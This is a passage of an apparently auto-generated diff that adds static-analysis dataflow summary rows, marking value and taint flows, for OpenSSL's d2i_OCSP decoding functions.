"df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_ONEREQ", "(OCSP_ONEREQ **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, 